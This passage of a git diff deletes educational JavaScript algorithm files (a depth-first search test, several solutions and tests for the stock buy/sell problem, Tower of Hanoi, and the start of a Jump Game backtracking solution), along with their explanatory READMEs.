-import BinaryTreeNode from '../../../../data-structures/tree/BinaryTreeNode';
-import depthFirstSearch from '../depthFirstSearch';
-describe('depthFirstSearch', () => {
-    it('should perform DFS operation on tree', () => {
-        const nodeA = new BinaryTreeNode('A');
-        const nodeB = new BinaryTreeNode('B');
-        const nodeC = new BinaryTreeNode('C');
-        const nodeD = new BinaryTreeNode('D');
-        const nodeE = new BinaryTreeNode('E');
-        const nodeF = new BinaryTreeNode('F');
-        const nodeG = new BinaryTreeNode('G');
-        nodeA.setLeft(nodeB).setRight(nodeC);
-        nodeB.setLeft(nodeD).setRight(nodeE);
-        nodeC.setLeft(nodeF).setRight(nodeG);
-        // In-order traversing.
-        expect(nodeA.toString()).toBe('D,B,E,A,F,C,G');
-        const enterNodeCallback = jest.fn();
-        const leaveNodeCallback = jest.fn();
-        // Traverse tree without callbacks first to check default ones.
-        depthFirstSearch(nodeA);
-        // Traverse tree with callbacks.
-        depthFirstSearch(nodeA, {
-            enterNode: enterNodeCallback,
-            leaveNode: leaveNodeCallback
-        });
-        expect(enterNodeCallback).toHaveBeenCalledTimes(7);
-        expect(leaveNodeCallback).toHaveBeenCalledTimes(7);
-        // Check node entering.
-        expect(enterNodeCallback.mock.calls[0][0].value).toEqual('A');
-        expect(enterNodeCallback.mock.calls[1][0].value).toEqual('B');
-        expect(enterNodeCallback.mock.calls[2][0].value).toEqual('D');
-        expect(enterNodeCallback.mock.calls[3][0].value).toEqual('E');
-        expect(enterNodeCallback.mock.calls[4][0].value).toEqual('C');
-        expect(enterNodeCallback.mock.calls[5][0].value).toEqual('F');
-        expect(enterNodeCallback.mock.calls[6][0].value).toEqual('G');
-        // Check node leaving.
-        expect(leaveNodeCallback.mock.calls[0][0].value).toEqual('D');
-        expect(leaveNodeCallback.mock.calls[1][0].value).toEqual('E');
-        expect(leaveNodeCallback.mock.calls[2][0].value).toEqual('B');
-        expect(leaveNodeCallback.mock.calls[3][0].value).toEqual('F');
-        expect(leaveNodeCallback.mock.calls[4][0].value).toEqual('G');
-        expect(leaveNodeCallback.mock.calls[5][0].value).toEqual('C');
-        expect(leaveNodeCallback.mock.calls[6][0].value).toEqual('A');
-    });
-    it('allow users to redefine node visiting logic', () => {
-        const nodeA = new BinaryTreeNode('A');
-        const nodeB = new BinaryTreeNode('B');
-        const nodeC = new BinaryTreeNode('C');
-        const nodeD = new BinaryTreeNode('D');
-        const nodeE = new BinaryTreeNode('E');
-        const nodeF = new BinaryTreeNode('F');
-        const nodeG = new BinaryTreeNode('G');
-        nodeA.setLeft(nodeB).setRight(nodeC);
-        nodeB.setLeft(nodeD).setRight(nodeE);
-        nodeC.setLeft(nodeF).setRight(nodeG);
-        // In-order traversing.
-        expect(nodeA.toString()).toBe('D,B,E,A,F,C,G');
-        const enterNodeCallback = jest.fn();
-        const leaveNodeCallback = jest.fn();
-        // Traverse tree without callbacks first to check default ones.
-        depthFirstSearch(nodeA);
-        // Traverse tree with callbacks.
-        depthFirstSearch(nodeA, {
-            allowTraversal: (node, child) => {
-                // Forbid traversing left part of the tree.
-                return child.value !== 'B';
-            },
-            enterNode: enterNodeCallback,
-            leaveNode: leaveNodeCallback
-        });
-        expect(enterNodeCallback).toHaveBeenCalledTimes(4);
-        expect(leaveNodeCallback).toHaveBeenCalledTimes(4);
-        // Check node entering.
-        expect(enterNodeCallback.mock.calls[0][0].value).toEqual('A');
-        expect(enterNodeCallback.mock.calls[1][0].value).toEqual('C');
-        expect(enterNodeCallback.mock.calls[2][0].value).toEqual('F');
-        expect(enterNodeCallback.mock.calls[3][0].value).toEqual('G');
-        // Check node leaving.
-        expect(leaveNodeCallback.mock.calls[0][0].value).toEqual('F');
-        expect(leaveNodeCallback.mock.calls[1][0].value).toEqual('G');
-        expect(leaveNodeCallback.mock.calls[2][0].value).toEqual('C');
-        expect(leaveNodeCallback.mock.calls[3][0].value).toEqual('A');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/README.md b/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/README.md
deleted file mode 100644
index c944d8215d..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/README.md
+++ /dev/null
@@ -1,107 +0,0 @@
-# Best Time to Buy and Sell Stock
-
-## Task Description
-
-Say you have an array prices for which the `i`-th element is the price of a given stock on day `i`.
-
-Find the maximum profit. You may complete as many transactions as you like (i.e., buy one and sell one share of the stock multiple times).
-
-> Note: You may not engage in multiple transactions at the same time (i.e., you must sell the stock before you buy again).
-
-**Example #1**
-
-```
-Input: [7, 1, 5, 3, 6, 4]
-Output: 7
-```
-
-_Explanation:_ Buy on day `2` (`price = 1`) and sell on day `3` (`price = 5`), `profit = 5-1 = 4`. Then buy on day `4` (`price = 3`) and sell on day `5` (`price = 6`), `profit = 6-3 = 3`.
-
-**Example #2**
-
-```
-Input: [1, 2, 3, 4, 5]
-Output: 4
-```
-
-_Explanation:_ Buy on day `1` (`price = 1`) and sell on day `5` (`price = 5`), `profit = 5-1 = 4`. Note that you cannot buy on day 1, buy on day 2 and sell them later, as you are engaging multiple transactions at the same time. You must sell before buying again.
-
-**Example #3**
-
-```
-Input: [7, 6, 4, 3, 1]
-Output: 0
-```
-
-_Explanation:_ In this case, no transaction is done, i.e. max `profit = 0`.
-
-## Possible Solutions
-
-### Divide and conquer approach `O(2^n)`
-
-We may try **all** combinations of buying and selling and find out the most profitable one by applying _divide and conquer approach_.
-
-Let's say we have an array of prices `[7, 6, 4, 3, 1]` and we're on the _1st_ day of trading (at the very beginning of the array). At this point we may say that the overall maximum profit would be the _maximum_ of two following values:
-
-1. _Option 1: Keep the money_ → profit would equal to the profit from buying/selling the rest of the stocks → `keepProfit = profit([6, 4, 3, 1])`.
-2. _Option 2: Buy/sell at current price_ → profit in this case would equal to the profit from buying/selling the rest of the stocks plus (or minus, depending on whether we're selling or buying) the current stock price → `buySellProfit = -7 + profit([6, 4, 3, 1])`.
-
-The overall profit would be equal to → `overalProfit = Max(keepProfit, buySellProfit)`.
-
-As you can see the `profit([6, 4, 3, 1])` task is being solved in the same recursive manner.
-
-> See the full code example in [dqBestTimeToBuySellStocks.js](dqBestTimeToBuySellStocks.js)
-
-#### Time Complexity
-
-As you may see, every recursive call will produce _2_ more recursive branches. The depth of the recursion will be `n` (size of prices array) and thus, the time complexity will equal to `O(2^n)`.
-
-As you may see, this is very inefficient. For example for just `20` prices the number of recursive calls will be somewhere close to `2M`!
-
-#### Additional Space Complexity
-
-If we avoid cloning the prices array between recursive function calls and will use the array pointer then additional space complexity will be proportional to the depth of the recursion: `O(n)`
-
-## Peak Valley Approach `O(n)`
-
-If we plot the prices array (i.e. `[7, 1, 5, 3, 6, 4]`) we may notice that the points of interest are the consecutive valleys and peaks
-
-![Peak Valley Approach](https://leetcode.com/media/original_images/122_maxprofit_1.png)
-
-_Image source: [LeetCode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/solution/)_
-
-So, if we will track the growing price and will sell the stocks immediately _before_ the price goes down we'll get the maximum profit (remember, we bought the stock in the valley at its low price).
-
-> See the full code example in [peakvalleyBestTimeToBuySellStocks.js](peakvalleyBestTimeToBuySellStocks.js)
-
-#### Time Complexity
-
-Since the algorithm requires only one pass through the prices array, the time complexity would equal `O(n)`.
-
-#### Additional Space Complexity
-
-Except of the prices array itself the algorithm consumes the constant amount of memory. Thus, additional space complexity is `O(1)`.
-
-## Accumulator Approach `O(n)`
-
-There is even simpler approach exists. Let's say we have the prices array which looks like this `[1, 7, 2, 3, 6, 7, 6, 7]`:
-
-![Simple One Pass](https://leetcode.com/media/original_images/122_maxprofit_2.png)
-
-_Image source: [LeetCode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/solution/)_
-
-You may notice, that we don't even need to keep tracking of a constantly growing price. Instead, we may simply add the price difference for _all growing segments_ of the chart which eventually sums up to the highest possible profit,
-
-> See the full code example in [accumulatorBestTimeToBuySellStocks.js](accumulatorBestTimeToBuySellStocks.js)
-
-#### Time Complexity
-
-Since the algorithm requires only one pass through the prices array, the time complexity would equal `O(n)`.
-
-#### Additional Space Complexity
-
-Except of the prices array itself the algorithm consumes the constant amount of memory. Thus, additional space complexity is `O(1)`.
-
-## References
-
--   [Best Time to Buy and Sell Stock on LeetCode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/)
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/__tests__/dpBestTimeToBuySellStocks.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/__tests__/dpBestTimeToBuySellStocks.test.js
deleted file mode 100644
index 15a2a1efd8..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/__tests__/dpBestTimeToBuySellStocks.test.js
+++ /dev/null
@@ -1,34 +0,0 @@
-import dpBestTimeToBuySellStocks from '../dpBestTimeToBuySellStocks';
-describe('dpBestTimeToBuySellStocks', () => {
-    it('should find the best time to buy and sell stocks', () => {
-        let visit;
-        expect(dpBestTimeToBuySellStocks([1, 5])).toEqual(4);
-        visit = jest.fn();
-        expect(dpBestTimeToBuySellStocks([1], visit)).toEqual(0);
-        expect(visit).toHaveBeenCalledTimes(1);
-        visit = jest.fn();
-        expect(dpBestTimeToBuySellStocks([1, 5], visit)).toEqual(4);
-        expect(visit).toHaveBeenCalledTimes(2);
-        visit = jest.fn();
-        expect(dpBestTimeToBuySellStocks([5, 1], visit)).toEqual(0);
-        expect(visit).toHaveBeenCalledTimes(2);
-        visit = jest.fn();
-        expect(dpBestTimeToBuySellStocks([1, 5, 10], visit)).toEqual(9);
-        expect(visit).toHaveBeenCalledTimes(3);
-        visit = jest.fn();
-        expect(dpBestTimeToBuySellStocks([10, 1, 5, 20, 15, 21], visit)).toEqual(25);
-        expect(visit).toHaveBeenCalledTimes(6);
-        visit = jest.fn();
-        expect(dpBestTimeToBuySellStocks([7, 1, 5, 3, 6, 4], visit)).toEqual(7);
-        expect(visit).toHaveBeenCalledTimes(6);
-        visit = jest.fn();
-        expect(dpBestTimeToBuySellStocks([1, 2, 3, 4, 5], visit)).toEqual(4);
-        expect(visit).toHaveBeenCalledTimes(5);
-        visit = jest.fn();
-        expect(dpBestTimeToBuySellStocks([7, 6, 4, 3, 1], visit)).toEqual(0);
-        expect(visit).toHaveBeenCalledTimes(5);
-        visit = jest.fn();
-        expect(dpBestTimeToBuySellStocks([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20], visit)).toEqual(19);
-        expect(visit).toHaveBeenCalledTimes(20);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/__tests__/dqBestTimeToBuySellStocks.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/__tests__/dqBestTimeToBuySellStocks.test.js
deleted file mode 100644
index e4f9e109ba..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/__tests__/dqBestTimeToBuySellStocks.test.js
+++ /dev/null
@@ -1,34 +0,0 @@
-import dqBestTimeToBuySellStocks from '../dqBestTimeToBuySellStocks';
-describe('dqBestTimeToBuySellStocks', () => {
-    it('should find the best time to buy and sell stocks', () => {
-        let visit;
-        expect(dqBestTimeToBuySellStocks([1, 5])).toEqual(4);
-        visit = jest.fn();
-        expect(dqBestTimeToBuySellStocks([1], visit)).toEqual(0);
-        expect(visit).toHaveBeenCalledTimes(3);
-        visit = jest.fn();
-        expect(dqBestTimeToBuySellStocks([1, 5], visit)).toEqual(4);
-        expect(visit).toHaveBeenCalledTimes(7);
-        visit = jest.fn();
-        expect(dqBestTimeToBuySellStocks([5, 1], visit)).toEqual(0);
-        expect(visit).toHaveBeenCalledTimes(7);
-        visit = jest.fn();
-        expect(dqBestTimeToBuySellStocks([1, 5, 10], visit)).toEqual(9);
-        expect(visit).toHaveBeenCalledTimes(15);
-        visit = jest.fn();
-        expect(dqBestTimeToBuySellStocks([10, 1, 5, 20, 15, 21], visit)).toEqual(25);
-        expect(visit).toHaveBeenCalledTimes(127);
-        visit = jest.fn();
-        expect(dqBestTimeToBuySellStocks([7, 1, 5, 3, 6, 4], visit)).toEqual(7);
-        expect(visit).toHaveBeenCalledTimes(127);
-        visit = jest.fn();
-        expect(dqBestTimeToBuySellStocks([1, 2, 3, 4, 5], visit)).toEqual(4);
-        expect(visit).toHaveBeenCalledTimes(63);
-        visit = jest.fn();
-        expect(dqBestTimeToBuySellStocks([7, 6, 4, 3, 1], visit)).toEqual(0);
-        expect(visit).toHaveBeenCalledTimes(63);
-        visit = jest.fn();
-        expect(dqBestTimeToBuySellStocks([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20], visit)).toEqual(19);
-        expect(visit).toHaveBeenCalledTimes(2097151);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/accumulatorBestTimeToBuySellStocks.js b/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/accumulatorBestTimeToBuySellStocks.js
deleted file mode 100644
index 4b4cfe3a72..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/accumulatorBestTimeToBuySellStocks.js
+++ /dev/null
@@ -1,19 +0,0 @@
-/**
- * Finds the maximum profit from selling and buying the stocks.
- * ACCUMULATOR APPROACH.
- *
- * @param {number[]} prices - Array of stock prices, i.e. [7, 6, 4, 3, 1]
- * @param {function(): void} visit - Visiting callback to calculate the number of iterations.
- * @return {number} - The maximum profit
- */
-const accumulatorBestTimeToBuySellStocks = (prices, visit = () => {}) => {
-    visit();
-    let profit = 0;
-    for (let day = 1; day < prices.length; day += 1) {
-        visit();
-        // Add the increase of the price from yesterday till today (if there was any) to the profit.
-        profit += Math.max(prices[day] - prices[day - 1], 0);
-    }
-    return profit;
-};
-export default accumulatorBestTimeToBuySellStocks;
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/dpBestTimeToBuySellStocks.js b/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/dpBestTimeToBuySellStocks.js
deleted file mode 100644
index cba0425889..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/dpBestTimeToBuySellStocks.js
+++ /dev/null
@@ -1,22 +0,0 @@
-/**
- * Finds the maximum profit from selling and buying the stocks.
- * DYNAMIC PROGRAMMING APPROACH.
- *
- * @param {number[]} prices - Array of stock prices, i.e. [7, 6, 4, 3, 1]
- * @param {function(): void} visit - Visiting callback to calculate the number of iterations.
- * @return {number} - The maximum profit
- */
-const dpBestTimeToBuySellStocks = (prices, visit = () => {}) => {
-    visit();
-    let lastBuy = -prices[0];
-    let lastSold = 0;
-    for (let day = 1; day < prices.length; day += 1) {
-        visit();
-        const curBuy = Math.max(lastBuy, lastSold - prices[day]);
-        const curSold = Math.max(lastSold, lastBuy + prices[day]);
-        lastBuy = curBuy;
-        lastSold = curSold;
-    }
-    return lastSold;
-};
-export default dpBestTimeToBuySellStocks;
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/dqBestTimeToBuySellStocks.js b/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/dqBestTimeToBuySellStocks.js
deleted file mode 100644
index 7de4b9d7b8..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/dqBestTimeToBuySellStocks.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/**
- * Finds the maximum profit from selling and buying the stocks.
- * DIVIDE & CONQUER APPROACH.
- *
- * @param {number[]} prices - Array of stock prices, i.e. [7, 6, 4, 3, 1]
- * @param {function(): void} visit - Visiting callback to calculate the number of iterations.
- * @return {number} - The maximum profit
- */
-const dqBestTimeToBuySellStocks = (prices, visit = () => {}) => {
-    /**
-     * Recursive implementation of the main function. It is hidden from the users.
-     *
-     * @param {boolean} buy - Whether we're allow to sell or to buy now
-     * @param {number} day - Current day of trading (current index of prices array)
-     * @returns {number} - Max profit from buying/selling
-     */
-    const recursiveBuyerSeller = (buy, day) => {
-        // Registering the recursive call visit to calculate the complexity.
-        visit();
-        // Quitting the recursion if this is the last day of trading (prices array ended).
-        if (day === prices.length) {
-            return 0;
-        }
-        // If we're buying - we're loosing money (-1), if we're selling we're getting money (+1).
-        const operationSign = buy ? -1 : +1;
-        return Math.max(
-            // Option 1: Don't do anything.
-            recursiveBuyerSeller(buy, day + 1),
-            // Option 2: Sell or Buy at the current price.
-            operationSign * prices[day] + recursiveBuyerSeller(!buy, day + 1)
-        );
-    };
-    const buy = true;
-    const day = 0;
-    return recursiveBuyerSeller(buy, day);
-};
-export default dqBestTimeToBuySellStocks;
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/peakvalleyBestTimeToBuySellStocks.js b/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/peakvalleyBestTimeToBuySellStocks.js
deleted file mode 100644
index c593772e72..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/best-time-to-buy-sell-stocks/peakvalleyBestTimeToBuySellStocks.js
+++ /dev/null
@@ -1,31 +0,0 @@
-/**
- * Finds the maximum profit from selling and buying the stocks.
- * PEAK VALLEY APPROACH.
- *
- * @param {number[]} prices - Array of stock prices, i.e. [7, 6, 4, 3, 1]
- * @param {function(): void} visit - Visiting callback to calculate the number of iterations.
- * @return {number} - The maximum profit
- */
-const peakvalleyBestTimeToBuySellStocks = (prices, visit = () => {}) => {
-    visit();
-    let profit = 0;
-    let low = prices[0];
-    let high = prices[0];
-    prices.slice(1).forEach((currentPrice) => {
-        visit();
-        if (currentPrice < high) {
-            // If price went down, we need to sell.
-            profit += high - low;
-            low = currentPrice;
-            high = currentPrice;
-        } else {
-            // If price went up, we don't need to do anything but increase a high record.
-            high = currentPrice;
-        }
-    });
-    // In case if price went up during the last day
-    // and we didn't have chance to sell inside the forEach loop.
-    profit += high - low;
-    return profit;
-};
-export default peakvalleyBestTimeToBuySellStocks;
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/hanoi-tower/README.md b/docs/content/DS_ALGO/algorithms/uncategorized/hanoi-tower/README.md
deleted file mode 100644
index 654885afcc..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/hanoi-tower/README.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# Tower of Hanoi
-
-The Tower of Hanoi (also called the Tower of Brahma or Lucas'
-Tower and sometimes pluralized) is a mathematical game or puzzle.
-It consists of three rods and a number of disks of different sizes,
-which can slide onto any rod. The puzzle starts with the disks in
-a neat stack in ascending order of size on one rod, the smallest
-at the top, thus making a conical shape.
-
-The objective of the puzzle is to move the entire stack to another
-rod, obeying the following simple rules:
-
--   Only one disk can be moved at a time.
--   Each move consists of taking the upper disk from one of the
-    stacks and placing it on top of another stack or on an empty rod.
--   No disk may be placed on top of a smaller disk.
-
-![Hanoi Tower](https://upload.wikimedia.org/wikipedia/commons/8/8d/Iterative_algorithm_solving_a_6_disks_Tower_of_Hanoi.gif)
-
-Animation of an iterative algorithm solving 6-disk problem
-
-With `3` disks, the puzzle can be solved in `7` moves. The minimal
-number of moves required to solve a Tower of Hanoi puzzle
-is `2^n − 1`, where `n` is the number of disks.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Tower_of_Hanoi)
--   [HackerEarth](https://www.hackerearth.com/blog/algorithms/tower-hanoi-recursion-game-algorithm-explained/)
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/hanoi-tower/hanoiTower.js b/docs/content/DS_ALGO/algorithms/uncategorized/hanoi-tower/hanoiTower.js
deleted file mode 100644
index e82250f057..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/hanoi-tower/hanoiTower.js
+++ /dev/null
@@ -1,65 +0,0 @@
-import Stack from '../../../data-structures/stack/Stack';
-/**
- * @param {number} numberOfDiscs
- * @param {Stack} fromPole
- * @param {Stack} withPole
- * @param {Stack} toPole
- * @param {function(disc: number, fromPole: number[], toPole: number[])} moveCallback
- */
-function hanoiTowerRecursive({ numberOfDiscs, fromPole, withPole, toPole, moveCallback }) {
-    if (numberOfDiscs === 1) {
-        // Base case with just one disc.
-        moveCallback(fromPole.peek(), fromPole.toArray(), toPole.toArray());
-        const disc = fromPole.pop();
-        toPole.push(disc);
-    } else {
-        // In case if there are more discs then move them recursively.
-        // Expose the bottom disc on fromPole stack.
-        hanoiTowerRecursive({
-            numberOfDiscs: numberOfDiscs - 1,
-            fromPole,
-            withPole: toPole,
-            toPole: withPole,
-            moveCallback
-        });
-        // Move the disc that was exposed to its final destination.
-        hanoiTowerRecursive({
-            numberOfDiscs: 1,
-            fromPole,
-            withPole,
-            toPole,
-            moveCallback
-        });
-        // Move temporary tower from auxiliary pole to its final destination.
-        hanoiTowerRecursive({
-            numberOfDiscs: numberOfDiscs - 1,
-            fromPole: withPole,
-            withPole: fromPole,
-            toPole,
-            moveCallback
-        });
-    }
-}
-/**
- * @param {number} numberOfDiscs
- * @param {function(disc: number, fromPole: number[], toPole: number[])} moveCallback
- * @param {Stack} [fromPole]
- * @param {Stack} [withPole]
- * @param {Stack} [toPole]
- */
-export default function hanoiTower({ numberOfDiscs, moveCallback, fromPole = new Stack(), withPole = new Stack(), toPole = new Stack() }) {
-    // Each of three poles of Tower of Hanoi puzzle is represented as a stack
-    // that might contain elements (discs). Each disc is represented as a number.
-    // Larger discs have bigger number equivalent.
-    // Let's create the discs and put them to the fromPole.
-    for (let discSize = numberOfDiscs; discSize > 0; discSize -= 1) {
-        fromPole.push(discSize);
-    }
-    hanoiTowerRecursive({
-        numberOfDiscs,
-        fromPole,
-        withPole,
-        toPole,
-        moveCallback
-    });
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/hanoi-tower/test/hanoiTower.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/hanoi-tower/test/hanoiTower.test.js
deleted file mode 100644
index be7330f2da..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/hanoi-tower/test/hanoiTower.test.js
+++ /dev/null
@@ -1,48 +0,0 @@
-import hanoiTower from '../hanoiTower';
-import Stack from '../../../../data-structures/stack/Stack';
-describe('hanoiTower', () => {
-    it('should solve tower of hanoi puzzle with 2 discs', () => {
-        const moveCallback = jest.fn();
-        const numberOfDiscs = 2;
-        const fromPole = new Stack();
-        const withPole = new Stack();
-        const toPole = new Stack();
-        hanoiTower({
-            numberOfDiscs,
-            moveCallback,
-            fromPole,
-            withPole,
-            toPole
-        });
-        expect(moveCallback).toHaveBeenCalledTimes(2 ** numberOfDiscs - 1);
-        expect(fromPole.toArray()).toEqual([]);
-        expect(toPole.toArray()).toEqual([1, 2]);
-        expect(moveCallback.mock.calls[0][0]).toBe(1);
-        expect(moveCallback.mock.calls[0][1]).toEqual([1, 2]);
-        expect(moveCallback.mock.calls[0][2]).toEqual([]);
-        expect(moveCallback.mock.calls[1][0]).toBe(2);
-        expect(moveCallback.mock.calls[1][1]).toEqual([2]);
-        expect(moveCallback.mock.calls[1][2]).toEqual([]);
-        expect(moveCallback.mock.calls[2][0]).toBe(1);
-        expect(moveCallback.mock.calls[2][1]).toEqual([1]);
-        expect(moveCallback.mock.calls[2][2]).toEqual([2]);
-    });
-    it('should solve tower of hanoi puzzle with 3 discs', () => {
-        const moveCallback = jest.fn();
-        const numberOfDiscs = 3;
-        hanoiTower({
-            numberOfDiscs,
-            moveCallback
-        });
-        expect(moveCallback).toHaveBeenCalledTimes(2 ** numberOfDiscs - 1);
-    });
-    it('should solve tower of hanoi puzzle with 6 discs', () => {
-        const moveCallback = jest.fn();
-        const numberOfDiscs = 6;
-        hanoiTower({
-            numberOfDiscs,
-            moveCallback
-        });
-        expect(moveCallback).toHaveBeenCalledTimes(2 ** numberOfDiscs - 1);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/README.md b/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/README.md
deleted file mode 100644
index 02d0547ac0..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/README.md
+++ /dev/null
@@ -1,128 +0,0 @@
-# Jump Game
-
-## The Problem
-
-Given an array of non-negative integers, you are initially positioned at
-the first index of the array. Each element in the array represents your maximum
-jump length at that position.
-
-Determine if you are able to reach the last index.
-
-**Example #1**
-
-```
-Input: [2,3,1,1,4]
-Output: true
-Explanation: Jump 1 step from index 0 to 1, then 3 steps to the last index.
-```
-
-**Example #2**
-
-```
-Input: [3,2,1,0,4]
-Output: false
-Explanation: You will always arrive at index 3 no matter what. Its maximum
-             jump length is 0, which makes it impossible to reach the last index.
-```
-
-## Naming
-
-We call a position in the array a **"good index"** if starting at that position,
-we can reach the last index. Otherwise, that index is called a **"bad index"**.
-The problem then reduces to whether or not index 0 is a "good index".
-
-## Solutions
-
-### Approach 1: Backtracking
-
-This is the inefficient solution where we try every single jump pattern that
-takes us from the first position to the last. We start from the first position
-and jump to every index that is reachable. We repeat the process until last
-index is reached. When stuck, backtrack.
-
-> See [backtrackingJumpGame.js](backtrackingJumpGame.js) file
-
-**Time complexity:**: `O(2^n)`.
-There are 2<sup>n</sup> (upper bound) ways of jumping from
-the first position to the last, where `n` is the length of
-array `nums`.
-
-**Auxiliary Space Complexity**: `O(n)`.
-Recursion requires additional memory for the stack frames.
-
-### Approach 2: Dynamic Programming Top-down
-
-Top-down Dynamic Programming can be thought of as optimized
-backtracking. It relies on the observation that once we determine
-that a certain index is good / bad, this result will never change.
-This means that we can store the result and not need to recompute
-it every time.
-
-Therefore, for each position in the array, we remember whether the
-index is good or bad. Let's call this array memo and let its values
-be either one of: GOOD, BAD, UNKNOWN. This technique is
-called memoization.
-
-> See [dpTopDownJumpGame.js](dpTopDownJumpGame.js) file
-
-**Time complexity:**: `O(n^2)`.
-For every element in the array, say `i`, we are looking at the
-next `nums[i]` elements to its right aiming to find a GOOD
-index. `nums[i]` can be at most `n`, where `n` is the length
-of array `nums`.
-
-**Auxiliary Space Complexity**: `O(2 * n) = O(n)`.
-First `n` originates from recursion. Second `n` comes from the
-usage of the memo table.
-
-### Approach 3: Dynamic Programming Bottom-up
-
-Top-down to bottom-up conversion is done by eliminating recursion.
-In practice, this achieves better performance as we no longer have the
-method stack overhead and might even benefit from some caching. More
-importantly, this step opens up possibilities for future optimization.
-The recursion is usually eliminated by trying to reverse the order of
-the steps from the top-down approach.
-
-The observation to make here is that we only ever jump to the right.
-This means that if we start from the right of the array, every time
-we will query a position to our right, that position has already be
-determined as being GOOD or BAD. This means we don't need to recurse
-anymore, as we will always hit the memo table.
-
-> See [dpBottomUpJumpGame.js](dpBottomUpJumpGame.js) file
-
-**Time complexity:**: `O(n^2)`.
-For every element in the array, say `i`, we are looking at the
-next `nums[i]` elements to its right aiming to find a GOOD
-index. `nums[i]` can be at most `n`, where `n` is the length
-of array `nums`.
-
-**Auxiliary Space Complexity**: `O(n)`.
-This comes from the usage of the memo table.
-
-### Approach 4: Greedy
-
-Once we have our code in the bottom-up state, we can make one final,
-important observation. From a given position, when we try to see if
-we can jump to a GOOD position, we only ever use one - the first one.
-In other words, the left-most one. If we keep track of this left-most
-GOOD position as a separate variable, we can avoid searching for it in
-the array. Not only that, but we can stop using the array altogether.
-
-> See [greedyJumpGame.js](greedyJumpGame.js) file
-
-**Time complexity:**: `O(n)`.
-We are doing a single pass through the `nums` array, hence `n` steps,
-where `n` is the length of array `nums`.
-
-**Auxiliary Space Complexity**: `O(1)`.
-We are not using any extra memory.
-
-## References
-
--   [Jump Game Fully Explained on LeetCode](https://leetcode.com/articles/jump-game/)
--   [Dynamic Programming vs Divide and Conquer](https://itnext.io/dynamic-programming-vs-divide-and-conquer-2fea680becbe)
--   [Dynamic Programming](https://en.wikipedia.org/wiki/Dynamic_programming)
--   [Memoization on Wikipedia](https://en.wikipedia.org/wiki/Memoization)
--   [Top-Down and Bottom-Up Design on Wikipedia](https://en.wikipedia.org/wiki/Top-down_and_bottom-up_design)
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/backtrackingJumpGame.js b/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/backtrackingJumpGame.js
deleted file mode 100644
index 2b2f3726c2..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/backtrackingJumpGame.js
+++ /dev/null
@@ -1,42 +0,0 @@
-/**
- * BACKTRACKING approach of solving Jump Game.
- *
- * This is the inefficient solution where we try every single jump
- * pattern that takes us from the first position to the last.
- * We start from the first position and jump to every index that
- * is reachable. We repeat the process until last index is reached.
- * When stuck, backtrack.
- *
- * @param {number[]} numbers - array of possible jump length.
- * @param {number} startIndex - index from where we start jumping.
- * @param {number[]} currentJumps - current jumps path.
- * @return {boolean}
- */
-export default function backtrackingJumpGame(numbers, startIndex = 0, currentJumps = []) {
-    if (startIndex === numbers.length - 1) {
-        // We've jumped directly to last cell. This situation is a solution.
-        return true;
-    }
-    // Check what the longest jump we could make from current position.
-    // We don't need to jump beyond the array.
-    const maxJumpLength = Math.min(
-        numbers[startIndex], // Jump is within array.
-        numbers.length - 1 - startIndex // Jump goes beyond array.
-    );
-    // Let's start jumping from startIndex and see whether any
-    // jump is successful and has reached the end of the array.
-    for (let jumpLength = maxJumpLength; jumpLength > 0; jumpLength -= 1) {
-        // Try next jump.
-        const nextIndex = startIndex + jumpLength;
-        currentJumps.push(nextIndex);
